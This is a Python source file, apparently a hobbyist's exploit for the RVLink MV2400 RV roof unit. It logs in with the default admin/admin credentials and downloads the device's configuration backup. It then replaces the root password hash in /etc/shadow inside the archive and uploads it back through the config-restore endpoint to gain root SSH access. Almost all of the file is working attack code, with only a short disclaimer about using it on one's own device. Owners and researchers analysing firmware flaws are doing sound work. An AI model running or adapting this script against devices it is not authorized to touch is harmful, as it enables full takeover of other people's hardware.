324 lines
18 KiB
Python
324 lines
18 KiB
Python
#!/usr/bin/env python3
|
|
|
|
"""
|
|
RVLink MV2400 Root Access Utility (via Config Restore Vulnerability)
|
|
|
|
Version: 1.2
|
|
Author: Wesley Ray
|
|
Date: 2025-05-08
|
|
|
|
Purpose:
|
|
This script exploits a vulnerability in the RVLink MV2400 roof unit firmware
|
|
(tested on RV-RV2402-V1.0.1.2 / API reporting RV-RV2400-V2.0.0_LTE_BETA)
|
|
which allows overwriting system configuration files, including /etc/shadow,
|
|
via the configuration backup/restore mechanism (`system_config_backup` and
|
|
`system_load_config` through the /cgi-bin/mbox-config endpoint).
|
|
|
|
This allows setting a known root password, enabling SSH access. After running
|
|
this script successfully, the target device should reboot. Monitor the device
|
|
(e.g., using ping) and then attempt to SSH as root with the new password.
|
|
|
|
WARNINGS:
|
|
- USE AT YOUR OWN RISK. Modifying firmware can potentially brick your device.
|
|
- Ensure you have backups (this script helps create one, but verify MTD dumps manually if possible).
|
|
- Understand the implications before running this script.
|
|
- This script is for educational and research purposes on devices you own.
|
|
Unauthorized access to computer systems is illegal.
|
|
- The target device uses legacy SSH crypto - ensure your SSH client is configured
|
|
appropriately when connecting manually after the device reboots.
|
|
(e.g., ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa -o MACs=+hmac-sha1,hmac-sha1-96 root@TARGET_IP)
|
|
|
|
TIPS:
|
|
- My device, and likely all of them, did support SCP (Secure Copy Protocol) for
|
|
file transfers using the -O option. You also have to specify the legacy crypto options.
|
|
(e.g., scp -O -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa -o MACs=+hmac-sha1,hmac-sha1-96 root@192.168.10.254:/tmp/mtd7_firmware.bin ./mtd7_firmware.bin)
|
|
|
|
Dependencies:
|
|
- requests (`pip install requests`)
|
|
- passlib (`pip install passlib`)
|
|
"""
|
|
|
|
import requests, json, time, sys, os, tarfile, io, random, string, logging
|
|
from passlib.hash import md5_crypt # For portable MD5-crypt hashing
|
|
|
|
# --- User Configuration ---
|
|
TARGET_IP = "192.168.10.254"
|
|
NEW_ROOT_PASSWORD = "yourdesiredpassword" # <<< CHANGE THIS TO YOUR DESIRED ROOT PASSWORD
|
|
LOGIN_USERNAME = "admin" # Default web UI credentials
|
|
LOGIN_PASSWORD = "admin"
|
|
NEW_ROOT_HASH_OVERRIDE = None # Optional: Pre-generate hash if passlib fails
|
|
# --- End User Configuration ---
|
|
|
|
# --- Script Configuration ---
|
|
# The following URLs are based on analysis of the webmgnt binary which implements fastCGI
|
|
# On affected firmware versions this binary listens for requests on 127.0.0.1:9002
|
|
# NGINX is configured to forward requests to /cgi-bin/ to this port, so the URLs are accessible via the web interface.
|
|
LOGIN_URL = f"http://{TARGET_IP}/cgi-bin/login"
|
|
BACKUP_URL = f"http://{TARGET_IP}/cgi-bin/mbox-config?method=GET§ion=system_config_backup"
|
|
UPLOAD_URL = f"http://{TARGET_IP}/cgi-bin/mbox-config?method=SET§ion=system_load_config"
|
|
|
|
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
OUTPUT_BACKUP_FILE = os.path.join(SCRIPT_DIR, f"backup_{TARGET_IP}.tgz")
|
|
MODIFIED_ARCHIVE_FILE = os.path.join(SCRIPT_DIR, f"modified_payload_{TARGET_IP}.tgz")
|
|
|
|
MAX_LOGIN_RETRIES = 3
|
|
RETRY_DELAY_SECONDS = 2
|
|
|
|
# --- Configure Logging ---
|
|
logging.basicConfig(
|
|
level=logging.INFO,
|
|
format='%(asctime)s [%(levelname)-7s] %(message)s',
|
|
datefmt='%Y-%m-%d %H:%M:%S',
|
|
stream=sys.stdout
|
|
)
|
|
|
|
# --- Helper Functions ---
|
|
def generate_md5_crypt_hash(password_str, salt_str=None):
|
|
"""Generates an MD5-crypt style hash ($1$salt$hash) using passlib."""
|
|
logging.info(f"Generating MD5-crypt hash for password...")
|
|
|
|
if salt_str is None:
|
|
salt_chars = string.ascii_letters + string.digits + "./"
|
|
salt_str = "".join(random.choice(salt_chars) for _ in range(8))
|
|
logging.info(f"Generated random 8-char salt: {salt_str}")
|
|
|
|
if len(salt_str) > 8:
|
|
salt_str = salt_str[:8]
|
|
logging.warning(f"Provided salt too long, truncated to 8 chars: {salt_str}")
|
|
elif len(salt_str) < 1:
|
|
logging.error("Salt cannot be empty if provided.")
|
|
return None
|
|
|
|
try:
|
|
hashed_password = md5_crypt.using(salt=salt_str).hash(password_str)
|
|
logging.info(f"MD5-crypt hash generated successfully using salt '{salt_str}'.")
|
|
return hashed_password
|
|
except NameError:
|
|
logging.critical("ERROR: 'passlib' library not found. Please install it (`pip install passlib`).")
|
|
return None
|
|
except Exception as e:
|
|
logging.error(f"MD5-crypt hash generation failed: {e}")
|
|
logging.error("Ensure 'passlib' library is installed correctly.")
|
|
return None
|
|
|
|
def initialize_connection():
|
|
"""Establishes a requests session."""
|
|
logging.info(f"Initializing connection to target: {TARGET_IP}")
|
|
session = requests.Session()
|
|
logging.info("Session object created.")
|
|
return session
|
|
|
|
def authenticate_and_grab_session(session_obj, username, password):
|
|
"""Authenticates and gets session cookie, retrying on failure/DELETED."""
|
|
logging.info(f"Attempting authentication as '{username}'...")
|
|
login_payload = {"username": username, "password": password}
|
|
current_session = session_obj
|
|
|
|
for attempt in range(MAX_LOGIN_RETRIES):
|
|
logging.info(f"Login attempt {attempt + 1}/{MAX_LOGIN_RETRIES}...")
|
|
if attempt > 0:
|
|
logging.info("Creating new session for retry...")
|
|
current_session = requests.Session()
|
|
try:
|
|
response = current_session.post(LOGIN_URL, json=login_payload, timeout=10)
|
|
response.raise_for_status()
|
|
logging.info("Analyzing authentication response...")
|
|
if response.status_code == 200:
|
|
cookies = current_session.cookies.get_dict()
|
|
session_id = cookies.get("COMFAST_SESSIONID")
|
|
if session_id and session_id != "DELETED":
|
|
logging.info("Authentication successful.")
|
|
logging.info(f"Session ID acquired: {session_id[:16]}...")
|
|
return current_session, session_id
|
|
else:
|
|
if session_id is None: logging.warning(f"Session ID missing. Retrying ({attempt + 1}/{MAX_LOGIN_RETRIES})...")
|
|
else: logging.warning(f"Received 'DELETED' session ID. Retrying ({attempt + 1}/{MAX_LOGIN_RETRIES})...")
|
|
if attempt < MAX_LOGIN_RETRIES - 1: time.sleep(RETRY_DELAY_SECONDS); continue
|
|
else: logging.error(f"Max login retries ({MAX_LOGIN_RETRIES}) reached. Failed to get valid session."); return None, None
|
|
except requests.exceptions.RequestException as e:
|
|
logging.error(f"Network error during authentication: {e}")
|
|
if attempt < MAX_LOGIN_RETRIES - 1: logging.warning(f"Retrying connection in {RETRY_DELAY_SECONDS}s..."); time.sleep(RETRY_DELAY_SECONDS); continue
|
|
else: logging.error("Max connection retries reached. Authentication failed."); return None, None
|
|
logging.error("All authentication attempts failed."); return None, None
|
|
|
|
|
|
def download_system_backup(session, session_id_for_log_only):
|
|
"""Downloads the system configuration backup using POST."""
|
|
logging.info(f"Attempting to download configuration backup...")
|
|
if not session.cookies.get("COMFAST_SESSIONID"):
|
|
logging.error("No active session cookie. Cannot download backup.")
|
|
return False
|
|
logging.info(f"Using active session ID: {session_id_for_log_only[:16]}...")
|
|
logging.info(f"Requesting backup from: {BACKUP_URL}")
|
|
try:
|
|
response = session.post(BACKUP_URL, stream=True, timeout=30)
|
|
response.raise_for_status()
|
|
if response.status_code == 200:
|
|
content_type = response.headers.get('Content-Type', '')
|
|
logging.info(f"Server response Content-Type: {content_type}")
|
|
if 'application/x-targz' not in content_type and 'application/octet-stream' not in content_type:
|
|
logging.warning("Unexpected Content-Type received, but proceeding with download.")
|
|
total_downloaded = 0
|
|
with open(OUTPUT_BACKUP_FILE, 'wb') as f:
|
|
logging.info(f"Saving backup to: {OUTPUT_BACKUP_FILE}")
|
|
for chunk in response.iter_content(chunk_size=8192):
|
|
if chunk:
|
|
f.write(chunk)
|
|
total_downloaded += len(chunk)
|
|
sys.stdout.write(f"\rDownloading... {total_downloaded // 1024} KiB")
|
|
sys.stdout.flush()
|
|
print()
|
|
logging.info(f"Backup download successful ({total_downloaded} bytes).")
|
|
return True
|
|
except requests.exceptions.RequestException as e:
|
|
logging.error(f"Network error during backup download: {e}")
|
|
return False
|
|
|
|
def modify_shadow_in_archive(original_tar_gz_bytes, new_root_password_hash_str):
|
|
"""Reads archive, modifies root hash in etc/shadow, returns new archive bytes."""
|
|
logging.info("Modifying archive: Updating root password hash in /etc/shadow...")
|
|
old_tar_stream = io.BytesIO(original_tar_gz_bytes)
|
|
new_tar_stream = io.BytesIO()
|
|
try:
|
|
with tarfile.open(fileobj=old_tar_stream, mode="r:gz") as old_tar:
|
|
with tarfile.open(fileobj=new_tar_stream, mode="w:gz") as new_tar:
|
|
logging.info("Processing archive members...")
|
|
found_shadow = False
|
|
for member in old_tar.getmembers():
|
|
normalized_member_name = member.name.lstrip('./')
|
|
if normalized_member_name == "etc/shadow":
|
|
found_shadow = True
|
|
logging.info(f"Located '{member.name}'. Reading original content...")
|
|
original_shadow_content_bytes = b""
|
|
extracted_shadow_file = old_tar.extractfile(member)
|
|
if extracted_shadow_file: original_shadow_content_bytes = extracted_shadow_file.read()
|
|
original_shadow_content_str = original_shadow_content_bytes.decode('utf-8', errors='replace')
|
|
logging.info("Searching for 'root' user line...")
|
|
new_shadow_lines = []; root_line_modified = False
|
|
for line in original_shadow_content_str.splitlines():
|
|
parts = line.split(':', 2)
|
|
if len(parts) > 1 and parts[0] == "root":
|
|
logging.info("Found 'root' line. Replacing hash...")
|
|
parts[1] = new_root_password_hash_str
|
|
new_line = ":".join(parts)
|
|
new_shadow_lines.append(new_line); root_line_modified = True
|
|
else: new_shadow_lines.append(line)
|
|
if not root_line_modified:
|
|
logging.warning("'root' line not found in original shadow file! Appending new root entry.")
|
|
new_shadow_lines.append(f"root:{new_root_password_hash_str}:1:::::")
|
|
final_shadow_content_str = "\n".join(new_shadow_lines)
|
|
if not final_shadow_content_str.endswith('\n') and final_shadow_content_str: final_shadow_content_str += "\n"
|
|
new_shadow_bytes = final_shadow_content_str.encode('utf-8')
|
|
new_shadow_info = tarfile.TarInfo(name=member.name); new_shadow_info.size = len(new_shadow_bytes)
|
|
new_shadow_info.mtime = int(time.time()); new_shadow_info.mode = member.mode if hasattr(member, 'mode') else 0o600
|
|
new_shadow_info.uid = member.uid if hasattr(member, 'uid') else 0; new_shadow_info.gid = member.gid if hasattr(member, 'gid') else 0
|
|
new_shadow_info.type = tarfile.REGTYPE; new_tar.addfile(new_shadow_info, io.BytesIO(new_shadow_bytes))
|
|
logging.info("Added modified '/etc/shadow' to new archive.")
|
|
else: # Copy other files/dirs unmodified
|
|
if member.issym() or member.islnk() or member.isdir(): new_tar.addfile(member)
|
|
elif member.isfile():
|
|
extracted_file = old_tar.extractfile(member)
|
|
if extracted_file: new_tar.addfile(member, extracted_file)
|
|
if not found_shadow:
|
|
logging.warning("'/etc/shadow' not found in original archive! Creating new one.")
|
|
final_shadow_content_str = f"root:{new_root_password_hash_str}:1:::::\n"
|
|
new_shadow_bytes = final_shadow_content_str.encode('utf-8'); new_shadow_info = tarfile.TarInfo(name="etc/shadow")
|
|
new_shadow_info.size = len(new_shadow_bytes); new_shadow_info.mtime = int(time.time())
|
|
new_shadow_info.mode = 0o600; new_shadow_info.uid = 0; new_shadow_info.gid = 0
|
|
new_shadow_info.type = tarfile.REGTYPE; new_tar.addfile(new_shadow_info, io.BytesIO(new_shadow_bytes))
|
|
logging.info("Created new '/etc/shadow' with root entry in new archive.")
|
|
logging.info("Finalizing modified archive...")
|
|
logging.info("Archive modification successful.")
|
|
return new_tar_stream.getvalue()
|
|
except tarfile.TarError as e: logging.error(f"ERROR: tarfile operation failed: {e}"); return None
|
|
except Exception as e: logging.error(f"ERROR: Unexpected error modifying archive: {e}"); return None
|
|
|
|
def upload_payload(session, payload_bytes, upload_filename):
|
|
"""Uploads the modified configuration archive."""
|
|
logging.info(f"Attempting to upload modified payload '{upload_filename}'...")
|
|
if not session.cookies.get("COMFAST_SESSIONID"): logging.error("No active session cookie. Cannot upload."); return False
|
|
logging.info(f"Upload target URL: {UPLOAD_URL}"); form_field_name = 'filecontent'
|
|
files_dict = {form_field_name: (upload_filename, payload_bytes, 'application/x-targz')}
|
|
logging.info(f"Preparing multipart/form-data using field '{form_field_name}'...")
|
|
try:
|
|
logging.info("Sending payload...")
|
|
response = session.post(UPLOAD_URL, files=files_dict, timeout=60); logging.info("Waiting for server response...")
|
|
if response.status_code == 200:
|
|
try: json_response = response.json(); err_code = json_response.get("errCode", 0); err_msg = json_response.get("errMsg", "")
|
|
except json.JSONDecodeError: logging.warning("Server response non-JSON. Assuming upload accepted."); logging.info("Device should process archive and reboot."); return True
|
|
if err_code != 0: logging.error(f"Upload rejected by server. Error {err_code}: {err_msg}"); return False
|
|
else: logging.info("Upload accepted by server."); logging.info("Device should process archive and reboot..."); return True
|
|
else: response.raise_for_status(); return False
|
|
except requests.exceptions.RequestException as e: logging.error(f"Network error during upload: {e}"); return False
|
|
except Exception as e: logging.error(f"Unexpected error during upload: {e}"); return False
|
|
|
|
# --- Main Execution ---
|
|
if __name__ == "__main__":
|
|
logging.info("==========================================================")
|
|
logging.info(" RVLink MV2400 Root Access Utility v1.2 ")
|
|
logging.info("==========================================================")
|
|
logging.info(" WARNING: Use at your own risk. Ensure backups exist. ")
|
|
logging.info("----------------------------------------------------------")
|
|
|
|
if NEW_ROOT_PASSWORD == "yourdesiredpassword":
|
|
logging.critical("Please edit the script and set the NEW_ROOT_PASSWORD variable!")
|
|
sys.exit(1)
|
|
|
|
try: import requests, passlib
|
|
except ImportError as imp_err:
|
|
logging.critical(f"FATAL ERROR: Missing required library: {imp_err}")
|
|
logging.critical("Please install dependencies: pip install requests passlib")
|
|
sys.exit(1)
|
|
|
|
# Start exploitation process
|
|
active_session = initialize_connection()
|
|
if not active_session: logging.critical("Failed to initialize connection."); sys.exit(1)
|
|
|
|
successful_session, comfast_session_id = authenticate_and_grab_session(active_session, LOGIN_USERNAME, LOGIN_PASSWORD)
|
|
if not comfast_session_id or not successful_session: logging.critical("Authentication failed."); sys.exit(1)
|
|
|
|
active_session = successful_session
|
|
|
|
if not download_system_backup(active_session, comfast_session_id):
|
|
logging.critical("Failed to download configuration backup. Cannot proceed."); sys.exit(1)
|
|
|
|
logging.info("Preparing modified payload...")
|
|
try:
|
|
with open(OUTPUT_BACKUP_FILE, 'rb') as f_original:
|
|
original_backup_bytes = f_original.read()
|
|
|
|
new_root_hash = None
|
|
if NEW_ROOT_HASH_OVERRIDE:
|
|
new_root_hash = NEW_ROOT_HASH_OVERRIDE; logging.info(f"Using pre-configured root hash.")
|
|
else: new_root_hash = generate_md5_crypt_hash(NEW_ROOT_PASSWORD, salt_str='RVLnkBug')
|
|
|
|
if not new_root_hash: logging.critical("Failed to generate/obtain root hash."); sys.exit(1)
|
|
|
|
logging.info(f"Target root hash for /etc/shadow: {new_root_hash}")
|
|
|
|
modified_backup_bytes = modify_shadow_in_archive(original_backup_bytes, new_root_hash)
|
|
|
|
if not modified_backup_bytes: logging.critical("Failed to modify the archive."); sys.exit(1)
|
|
|
|
modified_file_path = os.path.join(SCRIPT_DIR, MODIFIED_ARCHIVE_FILE)
|
|
with open(modified_file_path, "wb") as f_modified:
|
|
f_modified.write(modified_backup_bytes)
|
|
logging.info(f"Modified payload saved locally: '{modified_file_path}'.")
|
|
|
|
# --- Initiate Upload ---
|
|
if not upload_payload(active_session, modified_backup_bytes, MODIFIED_ARCHIVE_FILE):
|
|
logging.error("Payload upload failed. Device state likely unchanged."); sys.exit(1)
|
|
|
|
logging.info("Payload upload accepted by device!")
|
|
logging.info("The device should now reboot automatically within a few seconds.")
|
|
logging.info(">>> Please monitor the device manually (e.g., using ping).")
|
|
logging.info(f">>> Once it reboots, attempt SSH login as 'root' with password '{NEW_ROOT_PASSWORD}'.")
|
|
logging.info(">>> Remember to use legacy crypto options for your SSH client if needed:")
|
|
logging.info(">>> ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa -o MACs=+hmac-sha1,hmac-sha1-96 root@" + TARGET_IP)
|
|
|
|
except FileNotFoundError:
|
|
logging.critical(f"ERROR: Backup file '{OUTPUT_BACKUP_FILE}' not found after download.")
|
|
except Exception as e:
|
|
logging.critical(f"UNEXPECTED ERROR during main execution: {e}")
|
|
|
|
logging.info("Script finished.") |